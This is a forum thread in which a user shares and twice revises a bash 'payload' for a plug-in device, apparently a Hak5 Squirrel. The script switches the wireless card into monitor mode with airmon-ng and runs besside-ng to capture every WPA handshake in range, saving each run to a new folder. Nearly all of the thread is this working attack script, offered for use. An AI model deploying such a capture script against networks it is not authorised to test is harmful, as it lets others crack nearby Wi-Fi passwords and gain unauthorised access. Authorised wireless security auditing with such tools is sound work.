Jump to content

Besside-ng handshake packets


PixL
 Share

Recommended Posts

I've written my first payload....it should use besside-ng to capture as many WPA handshakes as it can find.

#!/bin/bash
# Besside-ng v1.0

function txpower() {

	ifconfig wlan0 down
	iw reg set US
	ifconfig wlan0 up
	sleep 1
}

function monitor() {
	
	airmon-ng start wlan0
	sleep 2
}

function besside() {

    cd /root    
	besside-ng -W mon0
}

txpower
LED B
monitor
LED R
sleep 5
LED ATTACK
besside

 

 

Edited by PixL
Link to comment
Share on other sites

The slight update below should create a new capture file each time the Squirrel is started rather than appending to the old one.

#!/bin/bash
# Besside-ng v1.0

function txpower() {

	ifconfig wlan0 down
	iw reg set US
	ifconfig wlan0 up
	sleep 1
}

function monitor() {
	
	airmon-ng start wlan0
	sleep 2
}

function besside() {

    cd /root/payloads/switch3
	mkdir $RANDOM
	cd *
	besside-ng -W mon0
}

txpower
LED B
monitor
LED R
sleep 5
LED ATTACK
besside

It assumes your using it in swtch3

Edited by PixL
Link to comment
Share on other sites

Updated again....

#!/bin/bash
# Besside-ng v1.0

function txpower() {

	ifconfig wlan0 down
	iw reg set US
	ifconfig wlan0 up
	sleep 1
}

function monitor() {
	
	airmon-ng start wlan0
	sleep 2
}

function besside() {

    cd /root/payloads/switch3
    folder="$RANDOM"
    mkdir $folder
    cd $folder  
	besside-ng -W mon0
}

txpower
LED B
monitor
LED R
sleep 5
LED ATTACK
besside

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...